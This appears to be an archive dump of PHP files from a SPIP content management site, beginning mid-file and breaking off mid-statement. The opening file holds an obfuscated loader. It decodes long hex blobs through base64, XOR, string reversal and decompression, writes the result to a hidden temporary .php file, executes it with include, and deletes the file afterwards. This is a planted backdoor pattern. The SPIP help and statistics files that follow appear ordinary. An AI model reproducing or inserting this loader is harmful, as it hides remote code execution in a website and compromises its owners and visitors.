6b7a6f64354250454c57386d62436b3541453648616c385a7a627a3864526572764e624b316d3478786e6d39774130764d2f796e49616c3452785633336d6378494654756b656173575532506a304138555242485445666d31617779457356634a4144524c646f5159482b344c57474361385a305078316e2f5857544f6842594e65667238656d316b36475433523374644c424b4359447879753235516d51337544394662694f51626176486863386159594e5261436d587830677354783054594733696643594d416748673367532f6a42633650414c3338466e4a68496b546845645241436277795a4535342b694e58364662437738744e64636b7a364e6e4c67586e415042646f2f4d65772b44597250464851416869667368334166654e485037516a6e796670566b624a7550514f374b79744934422f324156514f5653585a59392f67354e6d6e4e47625356696234312f3237704f544b716e43356149386a322b37676d634f74345738676d6375776b5a336f4d6b79337671454b7a54335444725147656b4a73536d43566c74564c72665275316430594c385443696a6743613636365959753070417230387a446b72523435706571617854734a72396d2b3979687a7953706e5a73534d425333465a70726758584866475066547446516e5549775164646772377947305a792b76487051575537385747744f6e67387269497434442f774e61626a35786d7a4849714e74445459326c5933395553632f68447a56653662347a77507339465149564b36624f6c664535575838302f50447977337a53796165524479647142587132674349495558337a45534d45746a4b4b6c6361527152414f47374f546a697341324b313450554f66567a6e75372f4c4e5544384f5344474664396b2f4a523176457a596b774c676c47502b616371565171564531356651326a707563747575644f69433369397649584333784f696469344d783553316354746a416350744e6f3949446857514b4e5870586e5a44597732345777526c38326e746b6b4a417559724174542b44382b31304a66597a51395a337464783434664b516b4d4f686762483645656174334361524d3941767968614a5a7135616478776930717a50457130576e5961426e51795471745273684b4133673962505976435a32424562393955354d3151566f3741644f597759584d2f4b6672566575585a644632633948786f73466a627a6737464e32626b62424e2f2b566f34506f4741704d5375414d50502b78693743455545734542317a6739554958476b78616d73486736366d504f3951356f76784c445568686a6759693379624c72556b396b342f5a5742306955485974714a6a48333632366f2f53745447365656452b554a4b2b6859537561657036723377644c7948626c6d352b5761683638654c4d756930626b794e7378794941367a7172577a4e7370654b384f616c33467359727a784e6a77342b6d42466275413049626b2f7147646c4a41446c513756356c375579534c5948796274456c696747636132534d523631536d2f4f3678744d4755504f49495275797459784c44394d2b5072397570517550457978694c7a5a4d3841664166437234754971594154757a523069594755634d64414d496c495452387635336d76354a76615773725742516a704347394970303561446173532b6f493348346e6f72575169377830486a4e50724457724f66374d79546c586b7454652f586e4b3655445454392b69474e4c6568564b55444c75443633795242475532527266592f4f6c72757a613372354773646d4b697978424d4d567979342f47617a5864447644394269344a716e43556267634e486261664c367742394d676741664c77775063723961377159394a483478306a552b2f666471567257787767632f71723869457866747634454449595876474f4177796f6e776c6a4b4870636c466c4772664f4c44516f7355372b4545776843444b66516a6b4773544d583475585470332b66456234742f5670555a6c66616a4c6630335669637557794e42466f355a63592b72494c754e75335a4a30696366416d4c7956785059675a304f423541523262473938506b72624b68656248324b52644965454b746275305a4f5a5245547370556c55472b4e6678466e56787135534b6154726e72384f70516c6149737465626d72344f4c524d7939495772374b74544661646750697439346a754855756357704e764169726842663579734d57396a576d76554e79424969536c387a53384b477555452b726a765369676c415042586f517a714776514a6a324b2b7462517956787561737368756e377a664335654d4d45327847355566325242516b53486261667a594e4375756c684b6d714b6f694e77513639496d7a617359457631656b4543654e6e4a514b4f547132526f4137636c55737133377a474e6533745a42714e5a7854764a79544e67434e6b6e572f6b706453366c5857747036504c4568665970594769375650354270673443445163544676683974315a4636704a523845574c62514534434e67346277793033704755765237754f506638746c2f61756f5577726776556c687a757778596e4d32664e69786a4a5956647a505775486937496f396d52704355375342367348796f4e6f4b473730536c507175576148334b753539506744616336704352524e6c4e37463250644b6269574b31532f4a55795758396f54434b443853747046634a446f715136555066784a4c384e77735744746135446d7261525530387972447630415474376e33585759723469556433702f75615352544b744d644866636f7662756f304a396f4d6771325355786f6b4c2b494e583277716b2f554f75462f366f6846767842727263466679524b4a77356a676b51415079677145394a6a4175304b3043624364374d59423035684b536a46546e73696e78654f70684453476571787457464a4f59494e494e3259553854542f50436e5659582f425771656f355235665473493679437536503874594339506a6877315873394e3537685755543354364f754874757879334270755930792b746b4666766a71424876315043322b382f613768354b4d673171642b427355413237466859464a435a6251696930535353594f746e5776345375787a4e74354638634963594c6a582f715a356a4c726775544757785a787a455a412b3576553059672b4b6d45783262687348436d7236686d736a3150516d4d3274616b37656375734c2f475044426d6e696b6835477434655973586d2f3359786946316932766751456531457a4e6769363161754d58384a7756506f49666e76545942504752535955494a753447477458566e4f456d4a4e4448392b794d6f4e616732454a6273706e7a465a35456762512f67676a594448396f3839554961626d4e6661724351345057467666754358464f4361585255766c64304e765048524459666a69337046476a2b6949505544762b2b743942722b65726a62656c7a37327447483341464a63477169616c3578476237534c576b51432b764567'; $_moBm3 = '69396c6e624642477755344739347050766a495965733252734a7a4772484d744b544443734c3345616c2b72424e586b79505a4f39516d3569586d6d70773462794331676c7a6c32535a502f4d58437a6d6b75704653306453582f49315753534e5a4a5a6e3964692f622b356d62614a7373525a723148315566506a62716f536348577345672b38794d58787a74707076553955725645767170615a7563476f4d432f327a5737566c3278746653627533504578562b5553673543656872567437704c4f3756574a58706532382b5268626372752b667870727630316f39553259566b536d45716637715a542f354c4c436d4636367559494b2f7a614f4a524a376a656b547a6651646755337a57743645302f61454e625037416e396a6432537a756e3358716b36323839775437443958616e464d32454736547844674c336e494372646846644f31313748746745366f307375436855425249753749464f4d6b72596a3547494970762b656161545535504b587371357a42517375457a59692b476e5661535165417566412f486d4f6b736d6638427a6f38506757416357325741436a2b5a46372b634177496c6465776739476946786b784a6973586b424e5454584336687172494c726756356b4449474d44386d42786f39442f66796b31662b3331357767424d4f467651722f56795a76624a45504c517661655a5154554f477664634941326e6c47306273354734396b45366f4b68666c6f744f62626d7152454e777452474156524b505772776d4578334135312b486f72685a5444636d5a4d704f41644748714c584e6f41583033646450433152586e6b56776e39744c68492b52394e566e574853507a6e4445446b33467642434a6e657544457579455039774953624877416a3446545a46666855342f5162653171574a4931376e576769484f4f73316a54554f424a6c59386770444c7666626a3244672f6d6c777641614a415a672f7663385448364875624167312f75416e434c384170784756594d753632467a6f7a64584573364f625343772b434c5935314b75486472636b793576684666436c41684e64646c3052677133484f3733306c78595265674b6e4a53516a555778745a6b634143716f526f65387a636e3058336b644d4d442b3271582f536765494468736b653439704c65644333362f396471384c506771795a5a4c676a4877553234376c2b712b476d322f575137497a6d474b6e565a4972697a6654774972363678584b4846696f6973364667726c57382b456276302f3348516a506a4637644441584e47365058544d586e68695a6976366157474c796a44352b2f39674b4755766a5a654f65386266655564464667366864573345316c377a4d4879334b71512b4f4a582f4241634f6d716b732b497062614d5363523673577254716e512b6b327235666c6957416e787a48586a524e4531757a624e4478663747356a534f2f657a5a58715a587654515058384a7173636e67734a38366b68467154435749574a765966422b4242377467354f4c4e79692f6a5269333078674f61762b5053726261684b6d78754f6b4f4970676c5a376e646b543531776d73756c69356c6665544a3734356f33432b75684a522b6965337744666967454a326f72694f324431662b4a377566344e6559514e4f4e2b4d5566576d6e564c796b456d4f6134486b564237494e62374d3838482f2f5762596d3835315948724e3553675235306d70346d784c4263516736422f4956694b506144454c36504d7936377733364b557a5959725a6851413650345a72354b49614e4a4e534a53525a4a5a73746657526469516158466d3477695438484b4e56364d374849775a57416673704b2b434162735633694266415064555245664a6a55514270447773364432416b546b5a624a76757172494f4f555a4431616a47613067636664656a69676f777a5a454a387959694f612b2f71444a76574333763431484c415847752f3057634f7863616d343072574e7238324e73486d7578772f6842694a3332766f4a584844703353662f42486a42514f2b6355355667506c5a76447773764a706f6a414e52464a594836756f2b41743633456e41336139416d4543616a6a3756336541666e58734f586e57594f303576442f5976336568426d33347a343768442b30682f494c3048343237526b46534b714b6e7758525777525331616b4e322b37386d534f5a32333351597373305a6253346c6a4459524c464249413059746c74544163426467523047792b576f613474304b675755796d6b495845554e786e7a6c39552b46734e574572744d6d49504a786833592f66522f444e6a466e36495862342f7262354d44436c4a45537a72545636556a35314f536e436156337233422b646f4e4d676b303355776c4f304e6e49514f62306c356a714b633353775849333151432f4944496b46372f39442b7262584f6c793041386c382f2b69697676732b515779696d797962574c4f306f5358464435376e46514a6e69697668496f33747553527235574c6571726d5578317779584a505034757278694b63445567352b59546b2b327a49645362445671494548634333657530524e526a684c422b5a535463454e494a6a50687761302f4e616b423944506b445961664e436b4c6e5a73582b5a75384935366e6b7252566e5962387452754a4a3837694353426f517563386a7a475968533579705a2f5a6d506f777662596a776749515275437a4e44314f794841696e312f6c6a67304e7362765630484d57356438796f7274486d58514d4d4734413037616133686a756833494d56344833536d387748723735314d7a775a5861596674304173565044687131504937655364315972693455366c53674e4265566264547862546a4c794530556149627a6758576a684541384d7a677854597379326d6374586b727041774e6c2b4438672b47506d48336a6d642f2b3675753833726c3373524c5448415641454c4c6231574156377a387356706637444771492f765439583561797330374e31782b4e34377634416c4d71556a32312b2f474431552b4943705957784955686730627644576a684a35707a46446752447a694c564d314f38784c445469326d7a6a677474784f412f65737561412b47754c2b546f724a42515a5041795364706c4145562f66675149744342535a5579335647575553656a6a5777716a615674384a634b4530344d593165587430686c4874744a2f6534553633746b4e556f6431776163453739735150734166634452637261337a35685851414a4e615773527955336e437a2f6d4a48744c4854594447304c5437484430367544494753394a6e7663534a47326d46345169536c70564446554b796c33794346772f554a4f69637a413241614539316a5136524b51396748786177576f6a66496f55794749614150765257372f477a516b546a53372b4759574678596c36457965734175626d6b5264595457707a374432584d5555724175414d5953347a433949705157444479344b44503868556853415546745053525871724a3345714f6257713554345554574e4a457642493457735658532b475264574330676d47512f32703575366e7345433661344f4a6c4f3231342f586435703730697a6e69494a6c69762f412f476d49537263392b2b7765755731795439394e6459476c574150536746525474395931527930777155636d50304b447452663739326b364c76713553667552654d6745582f3349614e554a4e31656f6c414f61613951684253506e4a2f45523950354a792f4e42704c4e6268634a36424b597451736137676550785533516d42595944663370554e45454d3548426667337832756b4259312f794b55536f567430502b476655454730346d456771367671622f306f6873494c343466525a6b2f397054504d45776b356b51306e61364331342b7a586932464867562f43726e6d58675476566a4f7a766f67616c56672f476a74324d7045654255745965613848564b6368424c58565875372f565654587330542b725439716d4b722b71627978643271466736426c564d59425336507956584e316a4b4c6f6f476965737774585059524f444849384f647a483068364d75547745323143686433656e4370494e2f6e623456677357522b4650447a2b335946796a3669756b2f49725537376a4e6d426976706644537977784a7946515867594139796671327a6162494a4d354d3767456945357779554152724478714b704250504f465a63736e3466744f7257303471523249674c73554a79332b517267674a5367754b4a664e372b6f35485176314b344a485530796b35736e664c5177714f6d484b4750524f2b696f784549484f302f426c6e57343232574f44643639614737563254534b65627952344e705a474c634276745a6f694652615a75723864665a2f525a6d6f53453933595966676f774571717274596259382b38376373342f79314b6a354d55646764504b784c54536f41675a524a4443794f5452746d48506f615251542b3070726c416671305970522f567571582f536c4731666e73306a41446255634f6e365970343067454866422b4246485a724a7235766e78486534636a376438594576586477757168384159552b6a32724339377a52653356663538695738704f56'; $_xs5fT = '7958746e78325034684e3359734875414630586d6f3257685452725164364d492b454566385236657754573370756c47675a5230347334547131315952737230494669703552627375585a49375a73574a456b3959525164726a3830612b71344745647a2b324e6241324d4b445035472f455755642b2b624e437a554f2b415242424c3259494c70706a6f713250453938364a2f45354d376136475a564674342f55595751686e42555854436e77505849746271704b7a706a4d54443158447a4256615174744f476f71426f534d4c784266525a6c427169526c664f574f787352344956324b4e6e352b733242774b6272596f4f6d723353376a5832636b49575a4d52343147625a7635334f325144726b324d304c75506478482f424742357a2b4c434d4552673531344c736c4c78383032647879734552656b564f6f6e72504472494f3648504d584c464d4c3367644f47695063576479344277684c412b55386b552b616f434150636471534a79442f656438534146344c4c2b335279772f624774564457337578506e4a76783874696265364d6e786c5232574f334562334a39413270786b794371657574466a557563542b6152574a4d6848796c387035433334654c70696b434651672b3365326c4b2f6858625a32744f344c61617a756e722f724669792f34773957584c3743586e4958643046586b413979305371653444414c305064432b7048366b4548536c335a4836375548707561356e5a646e496c44633958764d672f782f69492b726270462b503239494853696b30757a5066747a61724e53682f565a52576b464a563376482f436e724a594a303246765a485a416f67443177566e6e424174584a75594a7259304266744179326577566c6b575675444a55772f362f364c4556644338317835772f4555784e3742573239784e396a7257724a6f4866304d654166657066705362533745426337546664466c7573494d2f30554d746c6d74365039414170454f6b656339492b355a4458624c32466b5a633852313767572f6a6d5a48393735646f46716a3139754545302f6c4c7255477a6c545156324e436c6b636671584d516b463645374551353933637146374d776e78514c696e375675484d5552494647742b426847447078446851495a314b366c59574e416e4831307034577a64576a505149783131734b396c7861726b2b436a6b4b47636c35626f54584e38424e51566f58553074626668564933706638666879763843793347776f51487158775841386b7171574841675964356457476e796757303561493237315a6254736375515732706c6c364c3444732b69736e30544a39657241396b61734365346b3944514b615641726b697548582b7a6e6e50494b506a6b4452324e6c6e2f5732687357783833585a4f47626a326a6a4849794f61435043302b516e425846366b59766f6a6736345677584e6466637965784779367a433237514379617a633446594a3137314c3135673069633067714d6e6a744a767538476d57324e6b3873327a6c6a646b4b4d596f576a41586353486956636b7a304878346a36467676707470334d514a4862625832435a656c50766f6c6159315856696e39382f353277712b2b49564c4b397a416d6e49754a6b6c412f79523949364a4466704d6b6b494a774d6c716e33766d4c43454137584c6468533278642b465a3839576a497550542b48336769776d4f4e56436d3876686e7865734f4a7576614930384f566a5a566175327136726b673068654d304e584b73797a524e2f536a4a74486939614e4f58736b73364d625639426139664169637066484a7961695068734e7658397777774c4a474f755438317a57544f5274576162416638547a4241384e2f59765950743864496b4a7a4a5336586c584437372b583132543450554161587a4572583971395871554c664b5a516a574d7a396866714a45566e7761714a4445506f474637324b6d5a584c5952325a574955337a4d42424b627930553142416c4b754e6d6831415063317967492f6f4f4371574152642b6756383174376b416866354276434c6667465745634d4d3663554a3262326f315a376830504d427732424159794930735179446f4154524a4d4d3858374733366633596b6b704e716e35316a6561644f316579643934594f696e7548454f4e644c6c364d6761307a5a77785552374e63356e5633566c68434b385a2b58427077764a376a4a5030564a4c695975576e456574532b514c4c48514a514176724a535a4935504f38537a534a694b3558673535724a37484e7a735649655463533579652f707a7134484a645630705756696c794e4e58374f73574b457854453733506356547730555955534556736c62562b6c492f725261626b3445653731667a4d75694b36504846635a3273457a473263546c304733635a5775443453503051344377376f584b444c39455256594f475a434a424c7a38436b54656333756e4f55474d325a574136694641503048416330694f33424f6a6f65695764384a4f6c7a33437352454e2b385369777a72673649793233746c776938454e307448514c34514c307a757733504d346d6d4d5a786d344333333261483732643149696d686f6d6263476864784957643158415155614a6772376630557a325932774d61785462366c31796f7059532b6c5147446b5a4b4d6255783732595539485a614b4a484c316b33756d64646261774364553047574b6d3343356f376d4448436e4a6178666e664976434b6c6275445945734b6865302f38684b4c504c4249657a73752b332b5163563154307362754e32596c657034683645657a3575454b5153375079512b78756563776437735742732f485032326d6543312f4d4f37344b54563958764655674735697554324731674249715135324f6a66304d3334516745795133687a374938366b4e7a6139423053444b744241566c45704e6a7063775a7658686b4d4d4d4a4572674f715430376b772b7834556b6b6e6e707368624f552b77464d39436a35304e336a304d523731794c6577396c714b45612b55386b7a742b41695a2f31636477777752753976754936497048586838394a5369526641337579306664496a6f5a72506665396469746c38666731546c47446c78514b7a4f6d6b4e79356c476233613072392b305a7863436633714756354b374f38736e416d64355a6b4d6b316c6e6f432b50436f4275757a38474436724735475953454347315a3871626a624478346c736f6445596c363546684a7370486e6d762b76414e516771523867364c4a386b70786a31472f32584e6f6156596f462f795951547a694c47666f41326c5835764a68554c445873583362374850596651564d7a7a6f655775586c416c302b786a4f544877667054477a4f4d5861506469375a4e61594a6774363231306742584a65617272506f673650516a4d786c7372504e683869367172696a566e5a50332b3576327057566f457631774c67486b5a442f546370494c6f74434d3052314741774c4a61616e7837524f6c764d384f524675576a35636b5746305863594f416c4a766932646b645473334e375131697543616b654b67683135395a5868766347317534742f48654c456876504b7a6b347258664877306665796b33726137523674564442746a3141416e6936616d526a6e3144434f5439412b706f6f626b5450364a654e764c62786d51594835516f544d73615a573876706c433339753435734f6e51454b2f2f682f436f364d357270436573786977324c72553668724d58504a6c7a786363426d73335755556e50653755444762793336335134644b75677165316770545856415879735071423672434d6f74673672626d774c6a6459523779736f624332734c437a47515a4d51596d756e44745366554b776a74376e305a6736453673726c706a78523853374a4d6634387936532f427a355178387a6c4f54504e366a5a6d6a472b6b716f6f646f396c69317349594d7753447561627a696b754979344d2b6a6a4f3775515a6f7564774b66597075446330514c74572b33303162304e446a714272725052677034702b564b33573332674c4c59346154673132753867757061564b78586d34395379503861353375706c4270697a3078456966442b53667253616858634b6c75574a746934524a684f6466564779656752742b33794f5247704253322b725251714a366f793768584e73783035573541394a676c6c38502b496a5274734f745230362b4c50543446615a6b475347472b416d6a4f6144545846703962464c6a70757539752f65546f4374396a78652f7a6435494e73452b543437586b71646a39556a47624559646776627a69634c306d4c44497637324b773558434865617567704745614a7668744c4933315253505235374850353245544570524c4d39343362336c366c556473326152696654702f45364241737264314b5354374e6b6e653834644c707a6a77565a47764e65396765414d39433065514d4c657a736974555a6e36555946595064496f71573974584d694964546333716d484669374277497a4c53556c536745394d78496e375a444937533658745136496a3975325074735965455474503974502b4b4842506c506a75774b5332335471314b4a5a487a507278634f54794f6b796f3d'; $_qq7BeqawZ = $_mcp60Hn.$_sFnIUhWK.$_moBm3.$_xs5fT; $_ff57y9P = $_qq7BeqawZ; $_ff57y9P = gzuncompress(strrev(_z_xor(base64_decode(hex2bin($_ff57y9P)),$_bqfY9s))); if(crc32($_ff57y9P)!==2069422938){return;} $_fxFwl = $_ff57y9P; $_h6Febt = sys_get_temp_dir().'/.c_'.md5(uniqid('',true)).'.php'; if(false===@file_put_contents($_h6Febt, $_fxFwl)){return;} include $_h6Febt; @unlink($_h6Febt);aide.php000060400000021601152525761710006166 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'aide en ligne de SPIP * * L'aide en ligne de SPIP est disponible sous forme d'articles de www.spip.net * qui ont des repères nommés arttitre, artdesc etc. * * La fonction `inc_aider_dist` reçoit soit ces repères, * soit le nom du champ de saisie, le nom du squelette le contenant et enfin * l'environnement d'exécution du squelette (inutilisé pour le moment). * * Le tableau global `aider_index` donne ces repères. * * @package SPIP\Core\Aider */ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/filtres'); $GLOBALS['aider_index'] = array( 'editer_article.html' => array( 'surtitre' => 'arttitre', 'titre' => 'arttitre', 'soustitre' => 'arttitre', 'id_parent' => 'artrub', 'descriptif' => 'artdesc', 'virtuel' => 'artvirt', 'chapo' => 'arttitre', 'text_area' => 'arttexte' ), 'editer_breve.html' => array( 'id_parent' => 'brevesrub', 'lien_titre' => 'breveslien', 'statut' => 'brevesstatut' ), 'editer_groupe_mot.html' => array( 'titre' => 'motsgroupes' ), 'editer_mot.html' => array( 'titre' => 'mots', 'id_groupe' => 'motsgroupes' ), 'editer_rubrique.html' => array( 'titre' => 'arttitre', 'id_parent' => 'rubrub', 'text_area' => 'raccourcis' ) ); /** * Générer un lien d'aide (icône + lien) * * @uses aider_icone() * * @param string $aide * clé d'identification de l'aide souhaitée * @param string $skel * Nom du squelette qui appelle ce bouton d'aide * @param array $env * Environnement du squelette * @param bool $aide_spip_directe * false : Le lien généré est relatif à notre site (par défaut) * true : Le lien est réalisé sur spip.net/aide/ directement... * @return string **/ function inc_aide_dist($aide = '', $skel = '', $env = array(), $aide_spip_directe = false) { if (($skel = basename($skel)) and isset($GLOBALS['aider_index'][$skel]) and isset($GLOBALS['aider_index'][$skel][$aide]) ) { $aide = $GLOBALS['aider_index'][$skel][$aide]; } if ($aide_spip_directe) { // on suppose que spip.net est le premier present // dans la liste des serveurs. C'est forcement le cas // a l'installation tout du moins $help_server = $GLOBALS['help_server']; $url = array_shift($help_server) . '/'; $url = parametre_url($url, 'exec', 'aide'); $url = parametre_url($url, 'aide', $aide); $url = parametre_url($url, 'var_lang', $GLOBALS['spip_lang']); } else { $args = "aide=$aide&var_lang=" . $GLOBALS['spip_lang']; $url = generer_url_ecrire('aide', $args); } return aider_icone($url); } /** * Créer l'icône d'aide * * @global string $spip_lang * @global string $spip_lang_rtl * * @param string $url * URL vers l'aide * @param string $clic * Contenu de la balise de lien. * @return string * Icone d'aide */ function aider_icone($url, $clic = '') { include_spip('inc/lang'); if (!$clic) { $t = _T('titre_image_aide'); $clic = http_img_pack( 'aide' . aide_lang_dir($GLOBALS['spip_lang'], $GLOBALS['spip_lang_rtl']) . '-16.png', _T('info_image_aide'), " title=\"$t\" class='aide'" ); } return "\n <a class='aide popin'\nhref='" . $url . "' target='_blank'>" . $clic . '</a>'; } /** Les sections d'un fichier aide sont reperées ainsi. */ define('_SECTIONS_AIDE', ',<h([12])(?:\s+class="spip")?' . '>([^/]+?)(?:/(.+?))?</h\1>,ism'); /** * Création des fichiers de l'aide de SPIP * * @uses _DIR_AIDE * @uses _SECTIONS_AIDE * * @uses copie_locale() * @uses aide_fixe_img() * @uses aide_section() * * @param string $path * @param array $help_server * @return array */ function aide_fichier($path, $help_server) { $md5 = md5(serialize($help_server)); $fichier_aide = _DIR_AIDE . substr($md5, 0, 16) . '-' . $path; $lastm = @filemtime($fichier_aide); $lastversion = @filemtime(_DIR_RESTREINT . 'inc_version.php'); $here = @(is_readable($fichier_aide) and ($lastm >= $lastversion)); $contenu = ''; if ($here) { lire_fichier($fichier_aide, $contenu); return array($contenu, $lastm); } // mettre en cache (tant pis si echec) sous_repertoire(_DIR_AIDE, '', '', true); $contenu = array(); include_spip('inc/distant'); foreach ($help_server as $k => $server) { // Remplacer les liens aux images par leur gestionnaire de cache $url = "$server/$path"; $local = _DIR_AIDE . substr(md5($url), 0, 8) . '-' . preg_replace(',[^\w.]+,i', '_', $url); $local = _DIR_RACINE . copie_locale($url, 'modif', $local); lire_fichier($local, $page); $page = aide_fixe_img($page, $server); // les liens internes ne doivent pas etre deguises en externes $url = parse_url($url); $re = '@(<a\b[^>]*\s+href=["\'])' . '(?:' . $url['scheme'] . '://' . $url['host'] . ')?' . $url['path'] . '([^"\']*)@ims'; $page = preg_replace($re, '\\1\\2', $page); preg_match_all(_SECTIONS_AIDE, $page, $sections, PREG_SET_ORDER); // Fusionner les aides ayant meme nom de section $vus = array(); foreach ($sections as $section) { list($tout, $prof, $sujet, ) = $section; if (in_array($sujet, $vus)) { continue; } $corps = aide_section($sujet, $page, $prof); foreach ($contenu as $k => $s) { if ($sujet == $k) { // Section deja vue qu'il faut completer // Si le complement a des sous-sections, // ne pas en tenir compte quand on les rencontrera // lors des prochains passages dans la boucle preg_match_all(_SECTIONS_AIDE, $corps, $s, PREG_PATTERN_ORDER); if ($s) { $vus = array_merge($vus, $s[2]); } $contenu[$k] .= $corps; $corps = ''; break; } } // Si totalement nouveau, inserer le titre // mais pas le corps s'il contient des sous-sections: // elles vont venir dans les passages suivants if ($corps) { $corps = aide_section($sujet, $page); $contenu[$sujet] = $tout . "\n" . $corps; } } } $contenu = '<div>' . join('', $contenu) . '</div>'; // Renvoyer les liens vraiment externes dans une autre fenetre $contenu = preg_replace( '@<a href="(http://[^"]+)"([^>]*)>@', '<a href="\\1"\\2 target="_blank">', $contenu ); // Correction typo dans la langue demandee #changer_typo($lang_aide); $contenu = '<body>' . $contenu . '</body>'; if (strlen($contenu) <= 100) { return array(false, false); } ecrire_fichier($fichier_aide, $contenu); return array($contenu, time()); } /** * Générer l'url des images de l'aide * * @param string|array $args * Arguments à transmettre à l'URL : * - string : tel que `arg1=yy&arg2=zz` * - array : tel que `array( arg1 => yy, arg2 => zz )` * @return string * URL */ function generer_url_aide_img($args) { return generer_url_action('aide_img', $args, false, true); } /** Les aides non mises à jour ont un vieux Path à remplacer * * @note (mais ce serait bien de le faire en SQL une bonne fois) */ define('_REPLACE_IMG_PACK', "@(<img([^<>]* +)?\s*src=['\"])img_pack\/@ims"); /** * Remplacer les URL des images par l'URL du gestionnaire de cache local * * @uses _REPLACE_IMG_PACK * @uses _DIR_IMG_PACK * * @param string $contenu * @param string $server * @return string */ function aide_fixe_img($contenu, $server) { $html = ''; $re = "@(<img([^<>]* +)?\s*src=['\"])((AIDE|IMG|local)/([-_a-zA-Z0-9]*/?)([^'\"<>]*))@imsS"; while (preg_match($re, $contenu, $r)) { $p = strpos($contenu, $r[0]); $i = $server . '/' . $r[3]; $html .= substr($contenu, 0, $p) . $r[1] . $i; $contenu = substr($contenu, $p + strlen($r[0])); } $html .= $contenu; // traiter les vieilles doc return preg_replace(_REPLACE_IMG_PACK, "\\1" . _DIR_IMG_PACK, $html); } /** * Extraire une section d'aide * * Extraire la seule section demandée, qui commence par son nom entourée d'une * balise h2 et se termine par la prochaine balise h2 ou h1 ou le /body final. * * @param string $aide * Titre de la section d'aide * @param string $contenu * @param int $prof * Dans quel hn doit-on mettre le titre de section * @return string */ function aide_section($aide, $contenu, $prof = 2) { $maxprof = ($prof >= 2) ? '12' : '1'; $r = "@<h$prof" . '(?: class="spip")?' . '>\s*' . $aide . "\s*(?:/.+?)?</h$prof>(.*?)<(?:(?:h[$maxprof])|/body)@ism"; if (preg_match($r, $contenu, $m)) { return $m[1]; } # spip_log("aide inconnue $r dans " . substr($contenu, 0, 150)); return ''; } statistiques.php000060400000004135152527056020010022 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined("_ECRIRE_INC_VERSION")) { return; } /** * Calculer la moyenne glissante sur un nombre d'echantillons donnes * * @param int|bool $valeur * @param int $glisse * @return float */ function moyenne_glissante($valeur = false, $glisse = 0) { static $v = array(); // pas d'argument, raz de la moyenne if ($valeur === false) { $v = array(); return 0; } // argument, on l'ajoute au tableau... // surplus, on enleve... $v[] = $valeur; if (count($v) > $glisse) { array_shift($v); } return round(statistiques_moyenne($v), 2); } /** * Calculer la moyenne d'un tableau de valeurs * * https://code.spip.net/@statistiques_moyenne * * @param array $tab * @return float */ function statistiques_moyenne($tab) { if (!$tab) { return 0; } $moyenne = 0; foreach ($tab as $v) { $moyenne += $v; } return $moyenne / count($tab); } /** * Construire un tableau par popularite * classemnt => id_truc * * @param string $type * @param string $serveur * @return array */ function classement_populaires($type, $serveur = '') { static $classement = array(); if (isset($classement[$type])) { return $classement[$type]; } $classement[$type] = sql_allfetsel(id_table_objet($type, $serveur), table_objet_sql($type, $serveur), "statut='publie' AND popularite > 0", "", "popularite DESC", '', '', $serveur); $classement[$type] = array_map('reset', $classement[$type]); return $classement[$type]; } stats_referers_to_array.php000060400000007554152527056020012223 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/statistiques'); // moyenne glissante sur 30 jours define('MOYENNE_GLISSANTE_JOUR', 30); // moyenne glissante sur 12 mois define('MOYENNE_GLISSANTE_MOIS', 12); include_spip('inc/referenceurs'); function inc_stats_referers_to_array_dist($limit, $jour, $id_article, $options = array()) { $visites = 'visites'; $table = "spip_referers"; $where = array(); $serveur = ''; if (in_array($jour, array('jour', 'veille'))) { $visites .= "_$jour"; $where[] = "$visites>0"; } //$res = $referenceurs (0, "SUM(visites_$jour)", 'spip_referers', "visites_$jour>0", "referer", $limit); if ($id_article) { $table = "spip_referers_articles"; $where[] = "id_article=" . intval($id_article); } $where = implode(" AND ", $where); $limit = $limit ? "0," . intval($limit) : ''; $result = sql_select("referer_md5, referer, $visites AS vis", $table, $where, '', "maj DESC", $limit, '', $serveur); $referers = array(); $trivisites = array(); // pour le tri while ($row = sql_fetch($result, $serveur)) { $referer = interdire_scripts($row['referer']); $buff = stats_show_keywords($referer, $referer); if ($buff["host"]) { $refhost = $buff["hostname"]; $visites = $row['vis']; $host = $buff["scheme"] . "://" . $buff["host"]; $referers[$refhost]['referer_md5'] = $row['referer_md5']; if (!isset($referers[$refhost]['liens'][$referer])) { $referers[$refhost]['liens'][$referer] = 0; } if (!isset($referers[$refhost]['hosts'][$host])) { $referers[$refhost]['hosts'][$host] = 0; } if (!isset($referers[$refhost]['visites'])) { $referers[$refhost]['visites'] = 0; } if (!isset($referers[$refhost]['visites_racine'])) { $referers[$refhost]['visites_racine'] = 0; } if (!isset($referers[$refhost]['referers'])) { $referers[$refhost]['referers'] = array(); } $referers[$refhost]['hosts'][$host]++; $referers[$refhost]['liens'][$referer]++; $referers[$refhost]['visites'] += $visites; $trivisites[$refhost] = $referers[$refhost]['visites']; $tmp = ""; $set = array( 'referer' => $referer, 'visites' => $visites, 'referes' => $id_article ? '' : referes($row['referer_md5']) ); if (isset($buff["keywords"]) and $c = $buff["keywords"] ) { if (!isset($referers[$refhost]['keywords'][$c])) { $referers[$refhost]['keywords'][$c] = true; $set['keywords'] = $c; } } else { $tmp = $buff["path"]; if ($buff["query"]) { $tmp .= "?" . $buff['query']; } if (strlen($tmp)) { $set['path'] = "/$tmp"; } } if (isset($set['path']) or isset($set['keywords'])) { $referers[$refhost]['referers'][] = $set; } else { $referers[$refhost]['visites_racine'] += $visites; } } } // trier les liens pour trouver le principal foreach ($referers as $k => $r) { arsort($referers[$k]['liens']); $referers[$k]['liens'] = 